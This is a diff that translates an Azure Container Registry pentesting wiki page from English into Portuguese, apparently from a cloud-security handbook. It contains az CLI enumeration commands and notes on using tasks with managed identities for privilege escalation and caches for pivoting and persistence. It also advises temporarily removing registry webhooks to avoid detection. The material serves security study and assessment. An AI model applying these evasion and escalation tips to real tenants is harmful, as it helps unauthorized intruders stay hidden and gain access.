+Exemplo de script da [documentação](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) para gerar um SP com acesso a um registry:
 ```bash
 #!/bin/bash
 ACR_NAME=$containerRegistry
@@ -51,39 +51,39 @@ echo "Service principal password: $PASSWORD"
 ```
 ### Encryption
 
-Only the **Premium SKU** supports **encryption at rest** for the images and other artifacts.
+Apenas o **Premium SKU** oferece suporte à **encryption at rest** para as images e outros artifacts.
 
 ### Networking
 
-Only the **Premium SKU** supports **private endpoints**. The other ones only support **public access**. A public endpoint has the format `<registry-name>.azurecr.io` and a private endpoint has the format `<registry-name>.privatelink.azurecr.io`. For this reason, the name of the registry must be unique across all Azure.
+Apenas o **Premium SKU** oferece suporte a **private endpoints**. Os demais oferecem suporte apenas a **public access**. Um public endpoint tem o formato `<registry-name>.azurecr.io`, e um private endpoint tem o formato `<registry-name>.privatelink.azurecr.io`. Por esse motivo, o nome do registry deve ser exclusivo em todo o Azure.
 
 ### Microsoft Defender for Cloud
 
-This allows you to **scan the images** in the registry for **vulnerabilities**.
+Isso permite **scanear as images** no registry em busca de **vulnerabilities**.
 
 ### Soft-delete
 
-The **soft-delete** feature allows you to **recover a deleted registry** within the indicated number of days. This feature is **disabled by default**.
+O recurso **soft-delete** permite **recuperar um registry excluído** dentro do número de dias indicado. Esse recurso vem **desabilitado por padrão**.
 
 ### Webhooks
 
-It's possible to **create webhooks** inside registries. In this webhook it's needed to specify the URL where a **request will be sent whenever a push or delete action is performed**. Moreover, Webhooks can indicate a scope to indicate the repositories (images) that will be affected. For example, 'foo:\*' means events under repository 'foo'.
+É possível **criar webhooks** dentro dos registries. Nesse webhook, é necessário especificar a URL para a qual uma **request será enviada sempre que uma ação de push ou delete for executada**. Além disso, os Webhooks podem indicar um escopo para definir os repositórios (images) que serão afetados. Por exemplo, `foo:*` significa eventos no repositório `foo`.
 
-From an attackers perspective it's interesting to check this **before performing any action** in the registry, and remove it terporarely if needed, to avoid being detected.
+Do ponto de vista de um atacante, é interessante verificar isso **antes de executar qualquer ação** no registry e removê-lo temporariamente, se necessário, para evitar ser detectado.
 
 ### Connected registries
 
-This basically allows to **mirror the images** from one registry to another one, usually located on-premises.
+Isso basicamente permite **espelhar as images** de um registry para outro, geralmente localizado on-premises.
 
-It has 2 modes: **ReadOnly** and **ReadWrite**. In the first one, the images are only **pulled** from the source registry, and in the second one, images can also be **pushed** to the source registry.
+Ele tem 2 modos: **ReadOnly** e **ReadWrite**. No primeiro, as images são apenas **pulled** do registry de origem; no segundo, as images também podem ser **pushed** para o registry de origem.
 
-In order for clients to access the registry from Azure, a **token** is generated when the conected registry is used.
+Para que os clientes acessem o registry a partir do Azure, um **token** é gerado quando o registry conectado é usado.
 
 ### Runs & Tasks
 
-Runs & Tasks allows to execute in Azure container related actions that you typically needed to do locally or in a CI/CD pipeline. For example, you can **build, push, and run images in the registry**.
+Runs & Tasks permite executar no Azure ações relacionadas a containers que normalmente precisariam ser executadas localmente ou em um pipeline de CI/CD. Por exemplo, é possível **buildar, fazer push e executar images no registry**.
 
-The easiest way to build and run a container is using a regular Run:
+A maneira mais fácil de buildar e executar um container é usando um Run comum:
 ```bash
 # Build
 echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
@@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
 # Run
 az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
 ```
-However, isso vai acionar runs que não são muito interessantes do ponto de vista de um attacker, porque elas não têm nenhuma managed identity anexada.
+No entanto, isso vai disparar execuções que não são muito interessantes do ponto de vista de um atacante, pois elas não têm nenhuma managed identity associada.
 
-No entanto, **tasks** podem ter uma **system and user managed identity** anexada a elas. Essas tasks são as que são úteis para **escalate privileges** no container. Na seção de privileges escalation é possível ver como usar tasks para escalate privileges.
+No entanto, **tasks** podem ter uma **system and user managed identity** associada a elas. Essas tasks são as úteis para **escalate privileges** no container. Na seção de privilege escalation, é possível ver como usar tasks para escalate privileges.
 
 ### Cache
 
-A funcionalidade de cache permite **download images from an external repository** e armazenar as novas versões no registry. Ela requer ter algumas **credentials configured** selecionadas escolhendo as credentials de um Azure Vault.
+O recurso de cache permite **baixar imagens de um repositório externo** e armazenar as novas versões no registry. É necessário ter algumas **credenciais configuradas**, selecionando as credenciais de um Azure Vault.
 
-Isso é muito interessante do ponto de vista de um attacker porque permite **pivot to an external platform** se o attacker tiver permissões suficientes para acessar as credentials, **download images from an external repository** e configurar um cache também pode ser usado como **persistence mechanism**.
+Isso é muito interessante do ponto de vista de um atacante, pois permite fazer **pivot para uma plataforma externa** caso o atacante tenha permissões suficientes para acessar as credenciais. **Baixar imagens de um repositório externo** e configurar um cache também pode ser usado como **mecanismo de persistência**.
 
-## Enumeration
+## Enumeração
 
 > [!WARNING]
-> É muito importante que, mesmo que o nome do registry contenha algumas letras maiúsculas, você use apenas letras minúsculas na url para acessá-lo.
+> É muito importante que, mesmo que o nome do registry contenha algumas letras maiúsculas, você use apenas letras minúsculas na URL para acessá-lo.
 ```bash
 # List of all the registries
 # Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
@@ -143,18 +143,22 @@ az acr cache list --registry <registry-name>
 # Get cache details
 az acr cache show --name <cache-name> --registry <registry-name>
 ```
-## Acesso Não Autenticado
+## Acesso não autenticado
 
 {{#ref}}
 ../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
 {{#endref}}
 
-## Escalada de Privilégios & Post Exploitation
+## Escalação de privilégios & Post Exploitation
 
 {{#ref}}
 ../az-privilege-escalation/az-container-registry-privesc.md
 {{#endref}}
 
+{{#ref}}
+../az-post-exploitation/az-container-registry-post-exploitation.md
+{{#endref}}
+
 ## Referências
 
 - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)